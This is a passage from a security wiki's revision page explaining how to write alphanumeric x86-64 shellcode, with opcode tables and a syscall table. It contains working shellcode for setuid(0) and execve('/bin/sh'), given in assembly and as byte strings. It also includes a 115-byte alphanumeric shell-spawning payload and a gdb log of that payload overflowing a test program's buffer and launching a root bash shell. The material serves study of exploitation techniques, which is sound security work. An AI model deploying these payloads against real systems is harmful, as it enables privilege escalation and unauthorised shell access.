Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Alphanumeric shellcode"

From NetSec
Jump to: navigation, search
(64 bit shellcode example)
(64 bit syscall table)
Line 71: Line 71:
 
  [root@ares bha]# # cpu architecture regardless of the operating system.  Enjoy.
 
  [root@ares bha]# # cpu architecture regardless of the operating system.  Enjoy.
  
= 64 bit syscall table =
 
{{protip|Set the %rax register value to the appropriate integer to invoke the function when invoking '''syscall''' or '''\xf0\x05'''.}}
 
0:read
 
1:write
 
2:open
 
3:close
 
4:stat
 
5:fstat
 
6:lstat
 
7:poll
 
8:lseek
 
9:mmap
 
10:mprotect
 
11:munmap
 
12:brk
 
13:rt_sigaction
 
14:rt_sigprocmask
 
15:rt_sigreturn
 
16:ioctl
 
17:pread64
 
18:pwrite64
 
19:readv
 
20:writev
 
21:access
 
22:pipe
 
23:select
 
24:sched_yield
 
25:mremap
 
26:msync
 
27:mincore
 
28:madvise
 
29:shmget
 
30:shmat
 
31:shmctl
 
32:dup
 
33:dup2
 
34:pause
 
35:nanosleep
 
36:getitimer
 
37:alarm
 
38:setitimer
 
39:getpid
 
40:sendfile
 
41:socket
 
42:connect
 
43:accept
 
44:sendto
 
45:recvfrom
 
46:sendmsg
 
47:recvmsg
 
48:shutdown
 
49:bind
 
50:listen
 
51:getsockname
 
52:getpeername
 
53:socketpair
 
54:setsockopt
 
55:getsockopt
 
56:clone
 
57:fork
 
58:vfork
 
59:execve
 
60:exit
 
61:wait4
 
62:kill
 
63:uname
 
64:semget
 
65:semop
 
66:semctl
 
67:shmdt
 
68:msgget
 
69:msgsnd
 
70:msgrcv
 
71:msgctl
 
72:fcntl
 
73:flock
 
74:fsync
 
75:fdatasync
 
76:truncate
 
77:ftruncate
 
78:getdents
 
79:getcwd
 
80:chdir
 
81:fchdir
 
82:rename
 
83:mkdir
 
84:rmdir
 
85:creat
 
86:link
 
87:unlink
 
88:symlink
 
89:readlink
 
90:chmod
 
91:fchmod
 
92:chown
 
93:fchown
 
94:lchown
 
95:umask
 
96:gettimeofday
 
97:getrlimit
 
98:getrusage
 
99:sysinfo
 
100:times
 
101:ptrace
 
102:getuid
 
103:syslog
 
104:getgid
 
105:setuid
 
106:setgid
 
107:geteuid
 
108:getegid
 
109:setpgid
 
110:getppid
 
111:getpgrp
 
112:setsid
 
113:setreuid
 
114:setregid
 
115:getgroups
 
116:setgroups
 
117:setresuid
 
118:getresuid
 
119:setresgid
 
120:getresgid
 
121:getpgid
 
122:setfsuid
 
123:setfsgid
 
124:getsid
 
125:capget
 
126:capset
 
127:rt_sigpending
 
128:rt_sigtimedwait
 
129:rt_sigqueueinfo
 
130:rt_sigsuspend
 
131:sigaltstack
 
132:utime
 
133:mknod
 
134:uselib
 
135:personality
 
136:ustat
 
137:statfs
 
138:fstatfs
 
139:sysfs
 
140:getpriority
 
141:setpriority
 
142:sched_setparam
 
143:sched_getparam
 
144:sched_setscheduler
 
145:sched_getscheduler
 
146:sched_get_priority_max
 
147:sched_get_priority_min
 
148:sched_rr_get_interval
 
149:mlock
 
150:munlock
 
151:mlockall
 
152:munlockall
 
153:vhangup
 
154:modify_ldt
 
155:pivot_root
 
156:_sysctl
 
157:prctl
 
158:arch_prctl
 
159:adjtimex
 
160:setrlimit
 
161:chroot
 
162:sync
 
163:acct
 
164:settimeofday
 
165:mount
 
166:umount2
 
167:swapon
 
168:swapoff
 
169:reboot
 
170:sethostname
 
171:setdomainname
 
172:iopl
 
173:ioperm
 
174:create_module
 
175:init_module
 
176:delete_module
 
177:get_kernel_syms
 
178:query_module
 
179:quotactl
 
180:nfsservctl
 
181:getpmsg
 
182:putpmsg
 
183:afs_syscall
 
184:tuxcall
 
185:security
 
186:gettid
 
187:readahead
 
188:setxattr
 
189:lsetxattr
 
190:fsetxattr
 
191:getxattr
 
192:lgetxattr
 
193:fgetxattr
 
194:listxattr
 
195:llistxattr
 
196:flistxattr
 
197:removexattr
 
198:lremovexattr
 
199:fremovexattr
 
200:tkill
 
201:time
 
202:futex
 
203:sched_setaffinity
 
204:sched_getaffinity
 
205:set_thread_area
 
206:io_setup
 
207:io_destroy
 
208:io_getevents
 
209:io_submit
 
210:io_cancel
 
211:get_thread_area
 
212:lookup_dcookie
 
213:epoll_create
 
214:epoll_ctl_old
 
215:epoll_wait_old
 
216:remap_file_pages
 
217:getdents64
 
218:set_tid_address
 
219:restart_syscall
 
220:semtimedop
 
221:fadvise64
 
222:timer_create
 
223:timer_settime
 
224:timer_gettime
 
225:timer_getoverrun
 
226:timer_delete
 
227:clock_settime
 
228:clock_gettime
 
229:clock_getres
 
230:clock_nanosleep
 
231:exit_group
 
232:epoll_wait
 
233:epoll_ctl
 
234:tgkill
 
235:utimes
 
236:vserver
 
237:mbind
 
238:set_mempolicy
 
239:get_mempolicy
 
240:mq_open
 
241:mq_unlink
 
242:mq_timedsend
 
243:mq_timedreceive
 
244:mq_notify
 
245:mq_getsetattr
 
246:kexec_load
 
247:waitid
 
248:add_key
 
249:request_key
 
250:keyctl
 
251:ioprio_set
 
252:ioprio_get
 
253:inotify_init
 
254:inotify_add_watch
 
255:inotify_rm_watch
 
256:migrate_pages
 
257:openat
 
258:mkdirat
 
259:mknodat
 
260:fchownat
 
261:futimesat
 
262:newfstatat
 
263:unlinkat
 
264:renameat
 
265:linkat
 
266:symlinkat
 
267:readlinkat
 
268:fchmodat
 
269:faccessat
 
270:pselect6
 
271:ppoll
 
272:unshare
 
273:set_robust_list
 
274:get_robust_list
 
275:splice
 
276:tee
 
277:sync_file_range
 
278:vmsplice
 
279:move_pages
 
280:utimensat
 
281:epoll_pwait
 
282:signalfd
 
283:timerfd_create
 
284:eventfd
 
285:fallocate
 
286:timerfd_settime
 
287:timerfd_gettime
 
288:accept4
 
289:signalfd4
 
290:eventfd2
 
291:epoll_create1
 
292:dup3
 
293:pipe2
 
294:inotify_init1
 
295:preadv
 
296:pwritev
 
297:rt_tgsigqueueinfo
 
298:perf_event_open
 
299:recvmmsg
 
300:fanotify_init
 
301:fanotify_mark
 
302:prlimit64
 
303:name_to_handle_at
 
304:open_by_handle_at
 
305:clock_adjtime
 
306:syncfs
 
307:sendmmsg
 
308:setns
 
309:getcpu
 
310:process_vm_readv
 
311:process_vm_writev
 
 
= 64 bit shellcode example =
 
= 64 bit shellcode example =
 
setuid(0); execve('/bin/sh'); - 34 bytes
 
setuid(0); execve('/bin/sh'); - 34 bytes

Revision as of 12:32, 29 April 2012

Blah, There's 32 bit and 64 bit, so lets go!

Intercompatible Alphanumeric Opcodes

######################################################
#     Intercompatible x86* alphanumeric opcodes      #
######################################################
# 0x64,0x65  #  d,e  #  [fs|gs] prefix               #
# 0x66,0x67  #  f,g  #  16bit [operand|ptr] override #
# 0x68,0x6a  #  h,j  #  push                         #
# 0x69,0x6b  #  i,k  #  imul                         #
# 0x6c-0x6f  #  l-o  #  ins[bwd], outs[bwd]          #
# 0x70-0x7a  #  p-z  #  Conditional jumps            #
# 0x30-0x35  #  0-5  #  xor                          #
# 0x36       #   6   #  %ss segment register         #
# 0x38-0x39  #  8,9  #  cmp                          #
# 0x50-0x57  #  P-W  #  push *x,*i,*p                #
# 0x58-0x5a  #  XYZ  #  pop [*ax, *cx, *dx]          #
######################################################

Using machine code compatibility hiccups to determine CPU architecture

[root@ares bha]# strings xarch32.o 
TX4HPZTAZAYVH92
[root@ares bha]# strings xarch64.o 
TX4HPZTAZAYVH92
[root@ares bha]# echo -n $(strings xarch32.o)|wc -c
15
[root@ares bha]# # Returns true on a 32 bit system:
[root@ares bha]# objdump -d xarch32.o

xarch32.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   54                      push   %esp
   1:   58                      pop    %eax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %eax
   5:   5a                      pop    %edx
   6:   54                      push   %esp
   7:   41                      inc    %ecx
   8:   5a                      pop    %edx
   9:   41                      inc    %ecx
   a:   59                      pop    %ecx
   b:   56                      push   %esi
   c:   48                      dec    %eax
   d:   39 32                   cmp    %esi,(%edx)
[root@ares bha]# # Returns false on a 64 bit system:
[root@ares bha]# objdump -d xarch64.o

xarch64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   54                      push   %rsp
   1:   58                      pop    %rax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %rax
   5:   5a                      pop    %rdx
   6:   54                      push   %rsp
   7:   41 5a                   pop    %r10
   9:   41 59                   pop    %r9
   b:   56                      push   %rsi
   c:   48 39 32                cmp    %rsi,(%rdx)
[root@ares bha]# # Will not cause a segfault because (%rdx) points to somewhere inside the stack.
[root@ares bha]# # Now we can use all uppercase/numeric unicode-resistant shellcode to determine
[root@ares bha]# # cpu architecture regardless of the operating system.  Enjoy.

64 bit shellcode example

setuid(0); execve('/bin/sh'); - 34 bytes

 
.section .data
.section .text
.globl _start
_start:
 
 xor %rdi, %rdi
 push $0x69
 pop %rax
 syscall                                # setuid(0)
 
 # a function is f(%rdi,%rdx,%rsi).
 # Use zeroed memory to zero out %rsi, %rdi, %rdx
 push %rdi
 push %rdi
 pop %rsi
 pop %rdx
 
 # Store '/bin/sh\0' in %rdi
 movq $0x68732f6e69622f6a, %rdi
 shr $0x8,%rdi
 push %rdi
 push %rsp
 pop %rdi
 push $0x3b
 pop %rax
 syscall                                # execve('/bin/sh', null, null)
                                        # function no. is 59/0x3b - execve()
 
  • Setuid(0) - 8 bytes
"\x48\x31\xff\x6a\x69\x58\x0f\x05"
  • execve('/bin/sh') - works if %rdi is null at beginning of execution (like it is in the setuid call) - 26 bytes
"\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
  • Altogether - 34 bytes:
"\x48\x31\xff\x6a\x69\x58\x0f\x05\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

64 bit alphanum available instructions

'0'    0x30    xor %{16bit}, (%{64bit})
'1'    0x31    xor %{32bit}, (%{64bit})
'2'    0x32    xor (%{64bit}), %{16bit}
'3'    0x33    xor (%{64bit}), %{32bit}
'4'    0x34    xor [byte], %al
'5'    0x35    xor [dword], %eax
'6'    0x36    %ss segment register
'7'    0x37    Bad Instruction!
'8'    0x38    cmp %{16bit}, (%{64bit})
'9'    0x39    cmp %{32bit}, (%{64bit})
'A'    0x41    64 bit reserved prefix
'B'    0x42    64 bit reserved prefix
'C'    0x43    64 bit reserved prefix
'D'    0x44    64 bit reserved prefix
'E'    0x45    64 bit reserved prefix
'F'    0x46    64 bit reserved prefix
'G'    0x47    64 bit reserved prefix
'H'    0x48    64 bit reserved prefix
'I'    0x49    64 bit reserved prefix
'J'    0x4a    64 bit reserved prefix
'K'    0x4b    64 bit reserved prefix
'L'    0x4c    64 bit reserved prefix
'M'    0x4d    64 bit reserved prefix
'N'    0x4e    64 bit reserved prefix
'O'    0x4f    64 bit reserved prefix
'P'    0x50    push %rax
'Q'    0x51    push %rcx
'R'    0x52    push %rdx
'S'    0x53    push %rbx
'T'    0x54    push %rsp
'U'    0x55    push %rbp
'V'    0x56    push %rsi
'W'    0x57    push %rdi
'X'    0x58    pop %rax
'Y'    0x59    pop %rcx
'Z'    0x5a    pop %rdx
'a'    0x61    Bad Instruction!
'b'    0x62    Bad Instruction!
'c'    0x63    movslq (%{64bit}), %{32bit}
'd'    0x64    %fs segment register
'e'    0x65    %gs segment register
'f'    0x66    16 bit operand override
'g'    0x67    16 bit ptr override
'h'    0x68    push [dword]
'i'    0x69    imul [dword], (%{64bit}), %{32bit}
'j'    0x6a    push [byte]
'k'    0x6b    imul [byte], (%{64bit}), %{32bit}
'l'    0x6c    insb (%dx),%es:(%rdi)
'm'    0x6d    insl (%dx),%es:(%rdi)
'n'    0x6e    outsb %ds:(%rsi),(%dx)
'o'    0x6f    outsl %ds:(%rsi),(%dx)
'p'    0x70    jo  [byte]
'q'    0x71    jno [byte]
'r'    0x72    jb  [byte]
's'    0x73    jae [byte]
't'    0x74    je  [byte]
'u'    0x75    jne [byte]
'v'    0x76    jbe [byte]
'w'    0x77    ja  [byte]
'x'    0x78    js  [byte]
'y'    0x79    jns [byte]
'z'    0x7a    jp  [byte]

64 bit alphanumeric code register manipulation guide

       # This is nothing except for how-to zero out 
       # all the cpu registers in alpha space
       push %rsp
       pop %rcx                 # Now, watch carefully.
       
       push %rsi
       xor %ss:(%rcx), %rsi     # Zero out %rsi
       pop %r8                  # setting %rsp back to %rcx
       push %rdi
       xor %ss:(%rcx), %rdi     # Zero out %rdi
       pop %r8                  # set %rsp to %rcx
       
       push %rdi
       pop %rdx                 # rdx is zero
       push $0x30
       pop %rax
       xor $0x30, %al           # zeroed out %rax
       # Time to zero %rbx and %rbp
       xor %ss:0x30(%rcx), %rax
       xor %rax, %ss:0x30(%rcx) # Zero that stack slot
       xor %rbx, %ss:0x30(%rcx)
       xor %ss:0x30(%rcx), %rbx # %rbx is zero
       push %rdx
       pop %rax                 # re-initialize %rax as dummy
       xor %ss:0x30(%rcx), %rax
       xor %rax, %ss:0x30(%rcx)
       xor %rbp, %ss:0x30(%rcx)
       xor %ss:0x30(%rcx), %rbp # %rbp is zero
       # Setting register values and data manipulation
       # in alphanumeric code for the 64 bit amd.
       #  by hatter (blackhatacademy.org)


       # The first method to set the value of a 
       # register is using push/pop.
       # The following pushes are valid 
       # alphanumeric code:
       # pushw [word]          \x66\x68\x##\x##        fh??
       # pushq [byte]          \x6a\x##                j?
       # pushq [dword]         \x68\x##\x##\x##\x##    h????
       #
       # So we can tell from that we can push our own 
       # alphanumeric data in one byte, two byte, and 
       # four-byte quantities at once.
       # 
       # 64 bit registers:
       # %r8-%r15, rax,rcx,rdx,rbx,rsp,rbp,rsi,rdi
       # 0x41[0x50-57]
       #
       # push %r8              \x41\x50                AP
       # push %r9              \x41\x51                AQ
       # push %r10             \x41\x52                AR
       # push %r11             \x41\x53                AS
       # push %r12             \x41\x54                AT
       # push %r13             \x41\x55                AU
       # push %r14             \x41\x56                AV
       # push %r15             \x41\x57                AW
       #
       # We can see here quickly that the 'A' opcode is 
       # actually a prefix for the extended 64 bit CPU
       # registers.  We can tell that %r8-%r15 correspond
       # to registers %rax-%rdi when examining our next
       # push instructions:
       #
       # push %rax             \x50                    P
       # push %rcx             \x51                    Q
       # push %rdx             \x52                    R
       # push %rbx             \x53                    S
       # push %rsp             \x54                    T
       # push %rbp             \x55                    U
       # push %rsi             \x56                    V
       # push %rdi             \x57                    W
       #
       # 16 bit registers:
       # 0x66 or 'f' prefix:
       # %r8w-%r15w
       # %ax,%cx,%dx,%bx,%sp,%bp,%si,%di
       # example: \x41\x50, "push %r8" (AP)
       # becomes: \x66\x41\x50, "push %r8w" (fAP)
       # The following pops are alphanumeric:
       #   * Protip, the %r's take +1 byte
       #
       # 64-bit registers:
       # %rcx, %rdx, %rax
       #
       # pop %rax              \x58                    X
       # pop %rcx              \x59                    Y
       # pop %rdx              \x5a                    Z
       #
       # * Use \x41 (A) prefix to access %r8-r10 e.g. AX
       #
       # 16 bit registers (using 0x66 or 'f' 
       # [sometimes fA] prefix):
       # %cx, %dx, %ax, %r8w, %r9w, %r10w 
       #
       # So, using push and pop we can set the values of 
       # 6 fullsize CPU registers:
       # %rax, %rcx, %rdx, %r8, %r9, %r8
       #
       # Or get any values of 16 fullsize CPU registers 
       # to the top of the stack:
       # %r8-%r15, %rax-%rdi
       #
       # Lets look quickly.  We've got 5 main registers 
       # and 5 special 64 bit registers we can push but
       # not pop:
       # %rbx, %rsp, %rbp, %rsi, %rdi
       #
       # How can we write to those (or read their 
       # sub-registers) using alphanumeric bytecode
       # instructions and operands only? We can also 
       # presumably use any of the 6 full control 
       # registers by our emulating for mov with push
       # and pop.  Using only the registers we can 
       # already access, we will attempt to get 
       # instructions for our use to set values.
       #
       # We've identified our special register prefix, 
       #       0x41, 'A'.
       # We've identified our word operand override, 
       #       0x66, 'f'.
       #
       # Lets identify all the alphanumeric overrides and prefixes.
       # Notice these overrides are very similar to those for 32
       # bit platforms.
       #
       #       0x36, '6', %ss segment override.  Very handy.
       #       0x64, 'd', %fs segment override
       #       0x65, 'e', %gs segment override
       #
       #       0x66, 'f', 16 bit operand size
       #       0x67, 'g', 16 bit address size
       #
       #       0x41, 'A', 64 bit special register use (%r##)
       #       0x48, 'H', 64 bit register size override
       #
       #       0x40-4a, special 64 bit overrides
       # 
       # Now is probably a good time to mention that the
       # opcodes used for popping a register can also be
       # used as 'register operands' for more advanced
       # instructions.  For example, take this xor
       # instruction:
       #       xor $0x[byte](%rax),%ebx 
       #       "\x33\x58\x##"                  "3X?"
       #
       # The %rax register can be changed to %rcx or %rdx
       # using the 0x59 (Y) and 0x5a (Z) opcodes in place
       # of the 0x58 (X) opcode:
       #       xor $0x[byte](%rax),%ebx
       #       "\x33\x59\x##"                  "3Y?"
       #
       # Whenever there's a controllable register, we'll
       # use the notation {reg} so we'll recognize it as
       # an option.  In our bytecodes and string examples,
       # we will use a '?' in the bytecode itself and a 
       # '*' to denote the register operand, for example:
       #       xor $0x[byte]({reg}),%ebx
       #       "\x33\x??\x##"                  "3*?"
       #
       # So start memorizing the opcodes for rax,rcx, and
       # rdx, and get it in your head that they'll be used
       # frequently.  When we run into multiple operands, 
       # we'll use their operand number in the notation 
       # for readability purposes.
       #
       # -Xor
       # -Imul
       # -Movslq
       # 
       # Identifying the ways to set the rest of our 
       # registers, while investigating %rbx, was not 
       # entirely fruitful.  We do not get full control
       # over the %rbx register, however, we get write
       # access to sub-registers:
       #       %ebx, %bx, %bh, %bl
       # We can access these by using xor, imul, and
       # movslq instructions:
       #  -%ebx:
       #       xor $0x[byte]({reg}),%ebx       
       #       "\x33\x??\x##"                  "3*?"
       #
       #       imul $0x[dword1],0x[byte2]({reg}),%ebx
       #       "\x69\x??\x#2\x#1\x#1\x#1\x#1"  "i*21111"
       #
       #       imul $0x[byte1],0x[byte2]({reg}), %ebx
       #       "\x6b\x??\x#2\x#1"              "k*21"
       #
       #       movslq 0x[byte1]({reg}), %ebx
       #       "\x63\x??\x##                   "c*?"
       #
       # Note: if you want to access the %ss segment, put
       # the prefix at the beginning of the bytecode of
       # instructions (e.g. "63*?" in stead of "3*?").  If
       # you'd like to use the special 64 bit registers, 
       # put 0x41 or "A" at the beginning of the bytecode.
       # if you need to use both, you must always use the
       # %ss segment register prefix first, e.g. '6A3*?'.
       # 
       # Using one of our 64 bit force operators, we can 
       # use any of those instructions on %ebx with an 
       # override to treat it as %rbx (in this case, 0x48).
       #
       #  imul   $0x[byte1],0x[byte2]({reg}),%rbx
       #  "\x48\x6b\x??\x#2\x#1"               "Hk*21"
       #
       #  So all we really have to set the value of %rbx 
       #  directly is imul, xor, and movslq.  It's similar
       #  for our other registers that we can't directly 
       #  access yet, save for a couple.
       #
       #  Left over, we have %rsp, %rbp, %rdi, and %rsi.  
       #  Lets take a closer look at xor.  Starting at
       #  0x30 and ending at 0x35 we have some pretty 
       #  valuable xor commands:
       #
       #    0x34:        xor $0x##, %al
       #    0x35:        xor $0x########, %eax
       #    0x48 0x35 :  xor $0x########, %rax
       #
       #   0x30 is a multi-byte xor instruction.  Requiring
       #  at least two operands (even if register denote):
       #
       #   0x30 - xor %{16bit}, (%{64bit})
       #          xor %{16bit}, (%{64bit},%{64bit},1)
       #          xor %{16bit}, (%{64bit},%{64bit},2)
       #
       #          xor %{16bit}, 0x[byte](%{64bit})
       #          xor %{16bit}, 0x[byte](,%{64bit},1)
       #          xor %{16bit}, 0x[byte](,%{64bit},2)
       #
       #          xor %{16bit}, 0x[dword](%{64bit})
       #          xor %{16bit}, 0x[dword](,%{64bit},1)
       #          xor %{16bit}, 0x[dword](,%{64bit},2)
       #
       #  0x31 - xor %{32bit}, (%{64bit})
       #   0x31 is just as flexible as 0x30.  Didn't document
       # all permutations here due to brevity.
       #
       #  0x32 - xor (%{64bit}), %{16bit}
       #   0x32 is just as flexible, although the offsets will
       # change source side rather than destination side.
       #
       #  0x33 - xor (%{64bit}), %{32bit} 
       #   0x33 is the opposite of 0x31.  Just as flexible.
       #
       #  Lets combine our knowledge of xor with our knowledge
       # of the stack.  When we push any data, our data is 
       # accessible at %ss:(%rsp).  Knowing this, we can use
       # another register in our available space (e.g. %rcx)
       # to set values on some of our more difficult registers:
       #          %rbx, %rsp, %rbp, %rsi, %rdi
       #
       # First, we'll use push and pop to simulate 'mov':
       #
       #  \x54  push %rsp
       #  \x59  pop %rcx
       #  \x5a  pop %rax       (This just sets the pointer back)
       # Two xor parameters allow us to set the index registers,
       # %rsi and %rdi.  For now, we'll just zero them out:
       #
       #  \x56                 push %rsi
       #  \x36\x48\x33\x31     xor %ss:(%rcx), %rsi
       #  \x41\x58             pop %r8         
       #
       #  \x57                 push %rdi
       #  \x36\x48\x33\x39     xor %ss:(%rcx), %rdi
       #  pop %r8              
       # --------
       #
       # Now we've zeroed out %rsi and %rdi.  %r14 and %r15
       # special registers can also be pushed and zeroed out in
       # this fashion.  Now we have "full control" over:
       #   %rax, %rcx, %rdx, %rsi, %rdi, %r8, %r9, %r10, %r14,
       # and %r15.  We still need to gain full control over:
       #   %rsp, %rbp, %rbx, %r11, %r12, and %r13
       #
       #  Similar to push, we're going to require some sort of 
       # controllable data before the setting of a register. 
       # Where pop is concerned, we might require something to
       # be pushed to the stack first, in this case, we just
       # require a zero register.  Due to the way that xor 
       # works, once we have a zero register at all, in this 
       # case we will use %rax as our zero register, we can
       # use it to get %rbx, %rsp, and %rbp to zero if needed:
       #
       #  # %rbx:
       #  xor %ss:0x30(%rcx), %rax        # store that value in rax
       #  xor %rax, %ss:0x30(%rcx)        # Null that area of stack
       #  imul $0x30,%ss:0x30(%rax),%rbx  # 0x30 * 0 = 0 
       #  imul $0x30,%ss:0x30(%rax),%rbp  # 0x30 * 0 = 0
       #
       # Once the stack space, as well as the destination is set
       # to zero, we can effectively mov %rax, %rbp:
       #  36 48 31 41 30        xor    %rax,%ss:0x30(%rcx)
       #  36 48 33 69 30        xor    %ss:0x30(%rcx),%rbp
       #
       #  Our closest thing to incrementing and decrementing is
       # our ability to use the ins and outs instructions to 
       # add or subtract 1,2, or 4 against the %rdi register.
       # This still leaves us with no significant add or sub,
       # we can use imul with 16 and 8 bit registers to find 
       # division though.  We also have a magic mov; if %rsi is
       # not in use:
       #
       #   movsql %ss:0x30(%rcx), %rsi
       #   xor %rsi, %ss:0x30(%rsi)
       #
       #  This can come in quite handy when chunking large 
       # pieces of data to 0.


64 Bit Alphanumeric execve('/bin/sh') - 115 bytes

Code

  • Assembled:
 TYXjZX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWj0Hc9H39XTH39jXX4c
 
        .global _start
        .text
_start:
        # Set %rcx as stack pointer 
        # and align %rsp 
        push %rsp
        pop %rcx
        pop %rax
 
        # Get magic offset and store in %rdi
        push $0x5a
        pop %rax
        xor $0x55, %al
        push %rax                       # 0x14 on the stack now.
        pop %rax                        # add back to %esp
        imul  $0x41, (%rcx), %edi       # %rdi = 0x3cf, a "magic offset" for us
                                        # This is decimal value 975.
                                        # If this is too low/high, suggest a 
                                        # modification to xor of %al for 
                                        # changing the imul results
 
        # Write our syscall 
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)         # 4 bytes have been nulled
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
        push %rax
        pop %rax                        # Garbage reg
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)
 
        # Sycall written, set values now.
        # allocate 8 bytes for '/bin/sh\0'
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)
 
        # Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx
 
        # Store '/bin/sh\0' in %rdi
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)            # '/bin'  just went onto the stack
 
        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            # '/sh\0' just went onto the stack
        xor 0x30(%rcx), %rdi            # %rdi now contains '/bin/sh\0'
 
 
        pop %rax
        push %rdi
 
        push $0x30
        movslq (%rcx), %rdi
        xor (%rcx), %rdi                # %rdi zeroed
        pop %rax
        push %rsp
        xor (%rcx), %rdi
 
        push $0x58
        pop %rax
        xor $0x63, %al
 

Successful Overflow Test

[root@ares bha]# gdb -q bof
Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
(gdb)  r `perl -e 'print  "TYXjZX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWj0Hc9H39XTH39jXX4c" . "Y"x101 . "\x22\xec\xff\xff\xff\x7f";'`
Starting program: /home/hatter/bha/bof `perl -e 'print  "TYXjZX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWj0Hc9H39XTH39jXX4c" . "Y"x101 . "\x22\xec\xff\xff\xff\x7f";'`
process 3318 is executing new program: /bin/bash
[root@ares bha]# uname -m
x86_64